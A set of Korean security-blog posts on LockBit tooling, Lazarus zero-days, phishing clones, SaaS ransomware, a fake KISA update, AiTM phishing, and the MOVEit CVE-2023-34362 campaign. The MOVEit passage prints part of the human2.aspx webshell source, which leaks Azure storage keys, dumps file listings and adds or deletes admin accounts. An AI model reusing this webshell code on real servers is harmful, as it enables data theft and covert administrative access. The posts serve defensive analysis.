1. 개요

- 미국 CISA, FBI, MS-ISAC와 여러 국가의 사이버 보안 그룹이 LockBit 랜섬웨어 관련 분석 및 보안권고 발표

- 공격자는 LockBit을 사용해 다양한 주요 인프라 분야를 지속적으로 공격

> 금융, 식품 및 농업, 교육, 에너지, 정부 및 응급 서비스, 의료, 제조 및 운송 등

> 20년 이후 약 1,700건의 공격 시도, 69건의 침해사고, 1,653명의 피해 확인

- 변종을 개발하여 고도화하고, RaaS(Ransomware-as-a-Service)를 지원해 랜섬웨어 배포

> 20년 이후 72건의 변종 발견

 

2. 주요내용

- 내부망 침입을 위해 합법적인 사용을 목적으로 하는 여러 프리웨어 및 오픈 소스 도구 활용

> 용도를 변경하여 네트워크 정찰, 원격 액세스 및 터널링, 자격 증명 덤프, 파일 유출 등에 악용

구분 도구명 사용 목적 LockBit 그룹 사용 목적
정보수집 AdFind AD(Active Directory)를 검색 및 정보 수집 AD 정보를 수집하여 권한 확대 및 네트워크 이동
Advanced 
Internet Protocol (IP) 
Scanner
네트워크 스캔 후 네트워크 장치 표시 잠재적인 액세스 벡터를 식별하기 위해 피해자의 네트워크를 매핑
Advanced
Port
Scanner
네트워크 스캔 공격에 사용할 TCP/UDP 포트 검색
Bloodhound 공격 경로 관리를 위한 AD 정찰을 수행 네트워크 액세스 권한을 얻기 위해 악용될 수 있는 AD 관계를 식별
Seatbelt 여러 보안 지향 검사 수행 보안 지향 검사 수행해 시스템 정보 나열
SoftPerfect
Network 
Scanner
시스템 관리를 위해 네트워크 스캔을 수행 시스템 및 네트워크 정보 획득
원격접근 AnyDesk 원격 접속 프로그램 네트워크 장치 원격 제어
Atera 
Remote Monitoring 
& Management
(RMM)
네트워크 장치에 대한 원격 연결 활성화 네트워크 장치 원격 제어 네트워크 장치 원격 제어
Ligolo 펜 테스트를 위해 SOCKS5 또는 TCP 터널을 역방향 연결에서 설정 역방향 터널링을 통해 피해자 네트워크 내의 시스템에 연결
Ngrok 인터넷을 통한 터널링을 통해 로컬 웹 서버에 원격 접근 인터넷을 통해 시스템에 터널링하여 네트워크 보호를 우회
ScreenConnect 
(또는 ConnectWise)
네트워크 장치에 대한 원격 연결 활성화 시스템 원격 연결
Splashtop 네트워크 장치에 대한 원격 연결 활성화 시스템 원격 연결
TeamViewer 네트워크 장치에 대한 원격 연결 활성화 시스템 원격 연결
ThunderShell HTTP 요청을 통한 원격 액세스 네트워크 트래픽을 암호화하면서 원격으로 시스템 접근
자격 증명
정보 수집
ExtPassword Windows 시스템에서 암호 복구 네트워크 액세스 및 자격 증명 획득
LaZagne 여러 플랫폼에서 시스템 암호를 복구 시스템 및 네트워크 액세스를 위한 자격 증명 수집
LostMyPassword Windows 시스템 암호 복구 네트워크 액세스 및 자격 증명 수집
Microsoft 
Sysinternals 
ProcDump
중앙 처리 장치(CPU) 스파이크에 대한 애플리케이션을 모니터링하고 스파이크 중에 크래시 덤프를 생성 LSASS(Local Security Authority Subsystem Service)의 콘텐츠를 덤프하여 자격 증명 획득
Mimikatz 시스템에서 자격 증명 추출 네트워크 액세스 권한을 얻고 시스템을 악용하기 위해 자격 증명 추출
PasswordFox Firefox 브라우저 암호 복구 네트워크 액세스 및 자격 증명 수집
권한 상승 AdvancedRun 다른 설정으로 소프트웨어 실행 소프트웨어 실행 전 설정 변경을 통해 권한 상승 활성화
네트워크 이동 Impacket 네트워크 프로토콜 작업을 위한 Python 클래스 모음 네트워크 이동 활성화
공격 파일 유포 Chocolatey Microsoft Windows에서 명령줄 패키지 관리 LockBit 그룹 도구 설치에 활용
시스템제어 Microsoft
Sysinternals
PsExec
원격 시스템에서 명령줄 프로세스를 실행 시스템 제어
탐지우회 7-zip 파일을 아카이브로 압축 유출 전에 감지되지 않도록 데이터 압축
Backstab 맬웨어 방지 프로그램 EDR로 보호되는 프로세스를 종료
Bat Armor PowerShell 스크립트를 사용해 .bat 파일을 생성 PowerShell 실행 정책 우회
Defender 
Control
Microsoft Defender를 비활성화 Microsoft Defender 우회
GMER 루트킷 제거 EDR 소프트웨어 종료하고 제거
PCHunter 시스템 프로세스 및 커널을 포함한 고급 작업 관리를 활성화 EDR 프로세스 종료 및 우회
PowerTool 루트킷을 제거하고 커널 구조 수정을 감지, 분석 및 수정 EDR 소프트웨어 종료 및 제거
Process 
Hacker
루트킷 제거 EDR 소프트웨어 종료 및 제거
PuTTY Link (Plink) Windows SSH(Secure Shell) 작업 자동화 탐지 우회
TDSSKiller 루트킷 제거 EDR 프로세스 종료 및 제거
데이터 유출 FileZilla 플랫폼 간 파일 전송 프로토콜(FTP) LockBit 그룹으로 데이터 유출
FreeFileSync 클라우드 기반 파일 동기화 지원 데이터 유출을 위한 클라우드 기반 파일 동기화
MEGA Ltd MegaSync 클라우드 기반 파일 동기화 지원 데이터 유출을 위한 클라우드 기반 파일 동기화
Rclone 클라우드 저장소 파일을 관리 클라우드 스토리지를 통한 데이터 유출
WinSCP Microsoft Windows용 SSH 파일 전송 프로토콜을 사용하여 파일 전송 SSH 파일 전송 프로토콜을 통해 데이터 유출

 

- 기존 RCE 취약점 및 새로운 취약점 악용

구분 CVE CVSS 설명
신규 취약점 CVE-2023-0669 7.2 Fortra GoAnyhwere Managed File Transfer(MFT) 원격 코드 실행 취약점
CVE-2023-27350 9.8 PaperCut MF/NG 부적절한 접근 제어 취약점
기존 취약점 CVE-2021-44228 10.0 Apache Log4j2 원격 코드 실행 취약점
CVE-2021-22986 9.8 F5 BIG-IP 및 BIG-IQ 원격 코드 실행 취약점
CVE-2020-1472 10.0 NetLogon 권한 상승 취약점
CVE-2019-0708 9.8 Microsoft 원격 데스크톱 서비스 원격 코드 실행 취약점
CVE-2018-13379 9.8 Fortinet FortiOS SSL VPN 경로 우회 취약점

 

3. 권고사항

- 관리자 계정 지속적 모니터링 및 감사

- 원격 접근 방지를 위한 망분리 및 서비스 계정 제한 (권한, 세션 시간 제한 등)

- 확산 방지를 위한 업무별 중요도 파악 및 네트워크 분할

- 탈취 계정 사용 방지를 위한 비밀번호 변경 및 MFA 활성화

- 잘못된 AD 보안 구성이 있는지 지속적 점검

- 교육을 통한 임직원 보안 인식 제고 및 향상

 

4. 참고

[1] https://www.cisa.gov/news-events/news/us-and-international-partners-release-comprehensive-cyber-advisory-lockbit-ransomware
[2] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-165a

'랜섬웨어 > 분석' 카테고리의 다른 글

다크파워 (Dark Power) 랜섬웨어  (1) 2023.03.28
ESXiArgs Ransomware  (0) 2023.02.15
Masscan 랜섬웨어  (0) 2022.10.12
LockBit 3.0 랜섬웨어 빌더 분석  (1) 2022.10.04

1. 개요

- 북한 Lazarus 해킹 그룹이 INISAFE CrossWeb EX, MagicLine4NX 외에도 VestCert, TCO!Stream 제로데이 취약점 악용

> INISAFE CrossWeb EX, MagicLine4NX 취약점 또한 공격에 지속적으로 활용

 

- VestCert: 예티소프트社에서 제작한 Non-ActiveX 방식의 웹 보안 소프트웨어(공인인증서 프로그램)

- TCO!Stream: (주)엠엘소프트社에서 제작한 자산관리 프로그램

> TCO!Stream은 서버-클라이언트로 구성

> 서버: 소프트웨어 배포 및 원격제어 등의 기능을 제공

> 클라이언트: 서버와 통신을 위해 항상 3511/TCP Listening 상태

 

- Lazarus는 지속해서 국내 사용 소프트웨어의 취약점을 찾아 공격에 악용하므로, 해당 소프트웨어를 사용할 경우 반드시 최신 버전 업데이트 적용

 

2 주요 내용

2.1 VestCert 취약점

- 공격자는 기업 내부로 최초 침입을 위해 워터링 홀 기법을 사용

① 사용자가 취약한 버전의 VestCert가 설치된 환경에서 감염된 웹 사이트에 접속

② VestCert의 써드파티 라이브러리 실행 취약점으로 인해 PowerShell 실행

③ PowerShell을 이용해 C2 서버 접속 및 악성코드 다운, 실행

워터링 홀(Watering Hole)
- 물웅덩이 근처에 매복해 먹잇감을 노리는 사자의 모습에서 유래
- 공격자는 대상에 대한 정보를 미리 수집하여, 자주 방문하는 웹 사이트를 알아낸 뒤 해당 사이트의 취약점을 이용해 침해하여 악성코드 업로드
- 피해자가 해당 웹 사이트에 접속할 경우 악성코드를 유포
- 특정대상을 대상으로 하거나, 해당 웹 사이트에 접속하는 모든 사용자들을 대상으로 할 수도 있음

써드파티 라이브러리 실행 취약점
- 써드파티(Third-party)란 제품이나 서비스의 개발과 관련하여 직접적으로 관련이 없는 외부 업체나 개인을 뜻 함
- 즉, 소프트웨어 개발에서 써드파티는 애플리케이션 개발자가 직접 개발하지 않은 외부 제공 요소
- 써드파티(Third-party) 라이브러리 실행 취약점은 애플리케이션에서 사용되는 외부 제공 라이브러리에 존재하는 보안 취약점을 의미

 

[사진 1] VestCert 취약점으로인해 실행된 악성코드를 다운로드하는 PowerShell 명령어

 

2.2 TCO!Stream

- 공격자는 최초 침입 후 내부 전파를 위해 TCO!Stream의 취약점을 이용

> 공격자는 자체 제작한 악성코드를 이용해 서버에서 특정 파일을 다운로드하고 실행하는 명령어를 생성하여 클라이언트에 전달

> 명령을 수신한 클라이언트는 서버에 접근해 악성파일을 다운로드 및 실행

 

- 공격자가 제작한 악성코드의 커맨드 라인은 다음과 같음

[사진 2] 커멘드 라인

 

파라미터 설명
<Malware> 악성 파일명 (MicrosoftVSA.bin, MicroForic.tlb, matrox86.bic, matrox86.tcm, matrox86.tcm, wincert.bin, mseng.bin)
<TCO DeviceID> TCO 서버의 Device ID
<Destination IP> 대상 클라이언트 시스템의 IP
<Destination Port> 대상 클라이언트 시스템의 포트 (3511)
<Job ID> 서버에서 사용되는 Job ID

 

- 악성코드 파일 배포 위치와 실행명령은 다음과 같음

> 배포 파일 위치: C:\Packages\<배포 모듈 이름>\<버전>\<최종 경로>\<배포 파일명>

> 실행 명령: loadconf.exe –rt5y65i8##7poi88++5t4t54t54t5n

> 해당 명령은 백도어 다운로더 loadconf.exe를 C:\Temp\ 경로에 다운로드하고 인자와 함께 실행시키는 명령

[사진 3] 복호화된 명령 中 일부

 

3. 대응방안

① 최신 버전 업데이트 적용

- 해당 취약점을 분석해 KISA와 관련 업체에 전달 및 현재는 패치가 완료된 상태

> 해당 소프트웨어들은 자동 업데이트가 적용되지 않는 소프트웨어로 업데이트를 적용하지 않은 환경이 많음

제품명 영향받는 버전 해결 버전
VestCert 2.3.6 ~ 2.5.29 2.5.30
TCO!stream 8.0.22.1115 이하 8.0.23.215

 

- 서비스 운영자: 벤더사를 통해 최신 버전 교체

- 서비스 이용자

> 작업관리자의 프로세스 탭에서 ① Goji → ② VestCert를 반드시 순서대로 종료

> [제어판]-[프로그램]-[프로그램 및 기능]에서 VestCert 버전 확인 후 제거 클릭

※ TCO!stream은 서비스 운영자가 최신버전으로 교체 시 자동 업데이트됨

> 이용 중인 금융사이트에 접속하여 해결된 버전의 프로그램 재설치

[사진 4] 삭제 방법

 

② 침해지표 보안 장비 적용

 

3. 참고

[1] https://asec.ahnlab.com/ko/53832/
[2] https://www.boannews.com/media/view.asp?idx=119059&page=1&kind=1
[3] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=4&categoryCode=&nttId=71008

1. 개요

- 국정원에서 북한에 의한 국내 포털사이트 '네이버' 사칭 피싱사이트 포착

- 지난 5월 북한의 국내 포털사이트(네이버, 다음 등) 사칭 주의 이후 두 번째 발표

- 기존 피싱 공격과 달리 실제 네이버 화면과 동일하여 사이트 외관만으로 구분 불가

 

2. 주요 내용

- 그동안 단순히 네이버 등 로그인 페이지만 복제하여 사용자들의 로그인을 유도해 계정 및 개인정보 탈취

[사진 1] 과거 북한 김수키 해킹 그룹이 생성한 국책연구기관 로그인 피싱 페이지

 

- 하지만, 최근 포털사이트 메인화면을 완전히 복제한 피싱 페이지가 확인됨

> 국정원에서 네이버 메인화면을 완전히 복제한 피싱 페이지 확인

> 정상적인 네이버 주소(www[.]naver[.]com)과 주소가 다름 Ex. www[.]naverportal[.]com

[사진 2] 정상 포털 화면(좌) 및 피싱 포털 화면(우) 비교

 

- 포털 메인화면뿐만 아니라 증권, 부동산, 뉴스 등 자주 사용하는 세부 메뉴까지 동일

[사진 3] 정상 포털 화면(좌) 및 피싱 포털 화면(우) 비교

 

- 피싱 사이트로 추가적인 접속을 막기위해, 관련 기관과 공유 및 접속 차단 조치 진행

> 북한 피싱사이트 서버가 해외에 있어 해외기관과의 정보공유를 통해 활동을 추적 중

> 피해 차단을 위해 다각적으로 대응할 계획

[사진 4] 현재 피싱 사이트 접속 불가

 

- 국정원은 포털사이트 사용시 국민들의 주의를 당부

> 포털 사이트 주소를 집적 입력하거나, 즐겨찾기에 등록 후 사용하는 것이 안전

> 북한발 공격이 점점 교묘해지고 있어, 개인의 범위에서부터 주의 필요

 

3. 참고

[1] https://www.nis.go.kr:4016/CM/1_4/view.do?seq=236&currentPage=1&selectBox=&searchKeyword=&fromDate=&toDate=
[2] https://www.boannews.com/media/view.asp?idx=119121&page=2&kind=1 

요약 - 오메가(0mega) 랜섬웨어 그룹이 한 기업의 셰어포인트 온라인(SharePoint Online) 환경을 침해하는 데 성공
- 기존 랜섬웨어 공격과 달리 관리자 계정을 공략
- SaaS 애플리케이션을 대상으로 랜섬웨어 공격에 성공한 최초 사례
내용 - 기존의 SaaS 환경을 대상으로한 랜섬웨어 공격은 엔드포인트를 겨냥
> 이에 따라 기업에서는 랜섬웨어 대응을 위해 엔드포인트 보안에 많은 투자

- 오메가 그룹은 엔드포인트가 아닌 보안이 취약한 관리자 계정을 공략
> MS 글로벌(MS Global) 환경의 관리자 계정을 탐색
> 보안 설정이 제대로 적용되지 않은 계정을 찾아 크리덴셜 확보_인터넷 연결, MFA 미설정 계정 등
> 침해 계정을 이용해 AD 사용자 생성 (사용자명: 0mega)
> 새롭게 생성한 계정에 가능한 모든 권한 부여
> 해당 계정을 사용해 기존 관리자 계정 삭제 및 라이브러리에 저장된 파일을 유출 (Node.js 모듈 sppull 활용)
※ sppull: 셰어포인트로부터 파일을 쉽고 간단하게 다운로드 할 수 있도록 개발되었으며, 셰어포인트 사용자들 사이에서 높은 인기를 지님
> 침해 사실을 알리고 요구 사항을 전달하기 위한 수천 개의 텍스트 파일을 업로드 (Node.js 모듈 got 사용)
기타 - SaaS 애플리케이션을 겨냥한 랜섬웨어 공격들은 대부분 엔드포인트로부터 시작
> 보안이 취약한 엔드포인트를 찾아 침해 후 파일 유출 및 암호화

- 이번 침해 사건으로 인해 대응 전략 수정이 요구됨
> SaaS 환경을 직접 침해해 자동화 기술로 데이터를 빼돌린 최초의 랜섬웨어 사례
① SaaS 환경 중앙에서 공격을 할 수 있다는 것을 공격자들이 증명
② 자동화 모듈을 가지고 데이터를 유출

- 최근 6개월 동안 기업 SaaS 환경을 겨냥한 사이버 공격이 크게 증가
> 지난 2년간 발생한 SaaS 공격을 다 합한 것보다 많음
> 많은 기업들이 SaaS 환경에 중요한 데이터를 보관하고 있기 때문
> 재택 근무의 확산의 영향

- SaaS를 사용하는 기업들은 엔드포인트만이 아니라 SaaS 환경 전체를 보호해야만 하는 상황

 

보안뉴스

 

사상 첫 자동화 SaaS 랜섬웨어 공격을 성공시킨 오메가 일당들

오메가(0mega)라는 이름의 랜섬웨어 그룹이 한 기업의 셰어포인트 온라인(SharePoint Online) 환경을 침해하는 데 성공했다. 특이하게도 기업의 엔드포인트를 통해 공격을 성공시킨 게 아니라 관리자

www.boannews.com

1. 개요

- 국가사이버안보센터는 최근 국가배후 해킹조직의 공격 정황을 확인했다고 발표

- 해당 조직은 KISA 보안 업데이트 등 정상 프로그램으로 위장하여 악성코드를 유포

> KISA 보안 업데이트 외 MS 업데이트, 소프트웨어 설치 파일 등으로 위장하여 유포될 가능성이 존재

 

2. 주요 내용 [2]

- 확인된 악성 파일은 ‘KISA-Security-Upgrade.exe’라는 이름으로 유포

> 이노 셋업(Inno Setup) 소프트웨어를 사용하여 제작

> 이노 셋업이란 JrSfoftware社에서 제작한 스크립트 기반의 윈도우용 설치 프로그램을 제작할 수 있는 도구

[사진 1] 위장 설치 프로그램

 

- 해당 파일 내부에 스크립트 파일 ‘install_script.iss’이 존재

> 스크립트 파일에 기록된 명령에 따라 시스템 파일 생성 및 프로그램 설치

[사진 2] install_script.iss 파일 정보

 

[사진 3] 악성코드 동작 과정

 

- 해당 파일을 실행하면 사용자 PC의 시작 프로그램에 자동으로 등록되어 PC를 시작할 때마다 자동 실행

> 감염 시스템 정보를 수집하여 C2 서버로 전송하며, 공격자의 명령에 따라 여러 명령을 수행할 수 있음

[사진 4] 레지스트리에 시작프로그램으로 등록

3. 대응방안

- 공식 홈페이지를 통해 설치 파일 다운로드 등 기본 보안 수칙 준수

> 다양한 파일로 위장하여 악성코드를 유포하기 때문

> 자동으로 다운로드되는 파일이나 파일 공유 사이트 등 출처가 불분명한 파일 다운로드 및 실행 지양

 

- 관련 프로그램 제거 (KISA-Security-Upgrade.exe 등)

> [제어판] - [프로그램] - [프로그램 및 기능]에서 파일 삭제

 

- 침해지표 등록 [2]

 

4. 참고

[1] https://jrsoftware.org/ishelp/
[2] https://asec.ahnlab.com/ko/54041/
[3] https://www.boannews.com/media/view.asp?idx=119058&page=1&kind=1

1. 개요 [1]

- Microsoft에서 은행 및 금융권을 대상으로 다단계 AiTM 피싱 및 BEC 공격에 대해 경고

- 은행 및 금융권과 파트너 관계에 있는 서드파티를 침해한 후 서드파티를 통해 공격 진행

- 서드파티와 피해자 간 신뢰 관계를 이용한 공격

[사진 1] 다단계 AiTM 및 BEC 공격

 

2. AiTM 공격 [2]

- 전통적인 피싱 공격은 공격자가 정상 사이트와 유사한 피싱 사이트를 구성하여 공격 대상에 메일 링크 등으로 전달

- 링크 등으로 피싱 사이트에 접속한 사용자가 입력한 계정 정보 등을 공격자가 탈취

> 발신 주소 확인, 링크 주소 확인, 첨부 파일 확인 주의 등의 보안 교육과 MFA를 적용하여 피싱 공격에 대응

> MFA를 사용하기 위해 피해자의 휴대폰 등에 물리적으로 접근이 가능해야 하며, 피싱 사이트에 MFA를 구현하는데 어려움이 있었기 때문에 어느정도 대응이 됨

 

- 공격자들은 이를 우회하고자 중간자 공격(MITM, Man-in-the-middle attack)을 피싱 공격에 접목하기 시작하였으며, 이를 AiTM(adversary-in-the-middle)이라 함

> 피싱 서버에 로그인 기능을 구현하지 않고, 중간자 역할(프록시 서버)을 수행

> 사용자는 실질적으로 정상 서버와 통신을하며, 로그인 및 MFA 진행

> 공격자는 중간에서 계정 정보, MFA 값, 쿠키 등을 탈취

> 관련 툴로는 Evilginx, Evilginx 2 등이 있음

※ Evilginx: 세션 쿠키, 계정 정보 등을 피싱하는 데 사용되는 중간자 공격 프레임워크

[사진 2] AiTM

2.1 공격 체인

[사진 3] AiTM 피싱 공격에서 BEC까지 공격 체인

① 서드파티 피싱메일 유포

> 최종 공격 대상과 파트너 관계인 서드파티로 위장하여 링크가 포함된 피싱메일 유포

 

② 링크 접속

> 공겨자는 Canva 서비스를 활용

> Canva를 활용해 가짜 OneDrive 문서 미리보기와 피싱 URL 링크를 보여주는 페이지를 호스팅

※ Canva: 프레젠테이션, 포스터, 문서 및 기타 시각 콘텐츠를 만들기 위해 사용되는 오스트레일리아의 그래픽 디자인 플랫폼

 

③ AiTM 공격

> URL에 접속하면 MS 로그인 페이지를 스푸핑한 피싱 페이지로 리다이렉션

> 해당 페이지에서 입력한 계정 정보 및 MFA, 세션 쿠키를 공격자가 탈취

 

④ 서비스 접속

> 앞선 과정에서 탈취한 쿠키 정보를 통해 로그인 및 MFA 인증을 우회

 

⑤ 추가 MFA 인증 수단 등록

> 탈취한 계정으로 접근하기 위해 새로운 MFA 인증 수단을 등록

 

⑥ 메일 수신 규칙 생성

> 공격자는 로그인 후 사용자의 메일함에서 수신 메일을 보관 폴더로 이동하고, 모든 메일을 읽음으로 표시하는 규칙 생성

 

⑦ 피싱 공격

> 공격자는 Canva URL을 일부 수정하여 대규모 피싱 공격을 수행

> 피해 사용자의 연락처를 통해 피싱 메일을 발송

 

⑧ BEC 공격

> 부재중 사용자(피싱 메일을 읽지 않은 사용자)로 확인된 경우 해당 메일 삭제

> 피싱 메일의 진위 여부와 관련된 질문을 수신한 경우 정상 메일이라고 응답 및 해당 메일 삭제

※ BEC 공격은 정당한 송신자로 위장하여 수신자를 속이는 방법이며, EAC 공격은 공격자가 실제 계정을 탈취하여 추가 공격을 진행하는 방법인데, 해당 경우에는 EAC 공격이 좀 더 적합한 것으로 판단됨.

 

⑨ 계정 도용

> 악성 URL에 접속한 사용자의 계정을 탈취하여 또 다른 공격에 사용

 

⑩ BEC 공격

> 앞선 BEC 공격과 동일한 방법으로 반복

 

3. 대응 방안

- 계정 정보 변경

> 비밀번호 변경, MFA 인증 수단 확인 등

 

- 조건부 액세스 정책 적용 [3]

> 조건부 액세스란 접속지 IP, 접속지 위치, 디바이스, 접속 어플리케이션 등을 종합적으로 평가하여 인증 여부 및 인증 수준 결정

 

- 지속적인 세션 검증 [4]

> 일반적으로 액세스 토큰은 1시간 동안 유효

> 해당 토큰이 만료될 경우 해당 세션이 유효한 세션인지 검증

 

- 피싱 방지 솔루션 도입 [5]

> Microsoft Defender SmartScreen의 경우 사용자가 방문하는 웹 페이지의 동작 및 보고된 동작과 비교

> 비교 결과를 통해 정상 사이트인지 악성(또는 유해) 사이트인지 경고를 발생

 

4. 참고

[1] https://www.microsoft.com/en-us/security/blog/2023/06/08/detecting-and-mitigating-a-multi-stage-aitm-phishing-and-bec-campaign/ 
[2] https://thehackernews.com/2023/06/microsoft-uncovers-banking-aitm.html?m=1
[3] https://learn.microsoft.com/ko-kr/azure/active-directory/conditional-access/overview?ocid=magicti_ta_learndoc
[4] https://learn.microsoft.com/ko-kr/azure/active-directory/conditional-access/concept-continuous-access-evaluation?ocid=magicti_ta_learndoc
[5] https://learn.microsoft.com/ko-kr/deployedge/microsoft-edge-security-smartscreen?ocid=magicti_ta_learndoc
[6] https://attack.mitre.org/techniques/T1557/
[7] https://www.boannews.com/media/view.asp?idx=119015
[8] https://www.xn--hy1b43d247a.com/initial-access/aitm

1. MOVEit Transfer [1]

- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close [2]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함

- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음

- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]

> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]

영향받는 버전
- MOVEit Transfer 2023.0.0 (15.0)
- MOVEit Transfer 2022.1.x (14.1)
- MOVEit Transfer 2022.0.x (14.0)
- MOVEit Transfer 2021.1.x (13.1)
- MOVEit Transfer 2021.0.x (13.0)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud

 

- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]

[사진 2] Shodan 검색 결과

 

- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]

[사진 3] GreyNoise의 CVE-2023-34362 관련 스캐너

 

2.1 CL0P 랜섬웨어 그룹 [6]

- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시

> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해

[사진 4] CL0P 랜섬웨어 그룹의 MOVEit 캠페인 관련 게시글

 

[사진 5] MOVEit 익스플로잇 타임라인

 

- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음

① SQL Injection 취약점 악용

> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드

 

② 웹쉘 통신 및 악성 행위 수행 [7]

> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신

헤더 옵션 설명
X-siLock-Step1 -1 - AppendHeader 응답 헤더를 통해 Azure 정보 유출
- MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를 GZIP으로 압축하여 반환
-2 - users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2
("folderid"  지정)
특정 값 지정 - 해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3
("fileid" 값 지정)
특정 값 지정 - 해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우 해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL - 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을  시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>

<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>

<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>

<script runat="server">  
private Object connectDB() {
    var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
    bool flag = false;
    string text = null;
    flag = MySQLConnect.Connect();
    if (!flag) {
        return text;
    }
    return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
    const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
    return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
    var pass = Request.Headers["X-siLock-Comment"];
    if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
        Response.StatusCode = 404;
        return;
    }
    Response.AppendHeader("X-siLock-Comment", "comment");
    var instid = Request.Headers["X-siLock-Step1"];
    string x = null;
    DbConn MySQLConnect = null;
    var r = connectDB();
    if (r is String) {
        Response.Write("OpenConn: Could not connect to DB: " + r);
        return;
    }
    try {
        MySQLConnect = (DbConn) r;
        if (int.Parse(instid) == -1) {
            string azureAccout = SystemSettings.AzureBlobStorageAccount;
            string azureBlobKey = SystemSettings.AzureBlobKey;
            string azureBlobContainer = SystemSettings.AzureBlobContainer;
            Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
            Response.AppendHeader("AzureBlobKey", azureBlobKey);
            Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
            var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
            string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
            var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
            String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
                    set.MoveNext();
                }
            }
            reStr += "----------------------------------\nInstID,InstName,ShortName\n";
            query1 = "select id, name, shortname from institutions";
            set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
            if (!set.EOF) {
                while (!set.EOF) {
                    reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
                    set.MoveNext();
                }
            }
            using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
                using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
                    writer.Write(reStr);
                }
            }
        } else if (int.Parse(instid) == -2) {
            var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
            new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
        } else {
            var fileid = Request.Headers["X-siLock-Step3"];
            var folderid = Request.Headers["X-siLock-Step2"];
            if (fileid == null && folderid == null) {
                SessionIDManager Manager = new SessionIDManager();
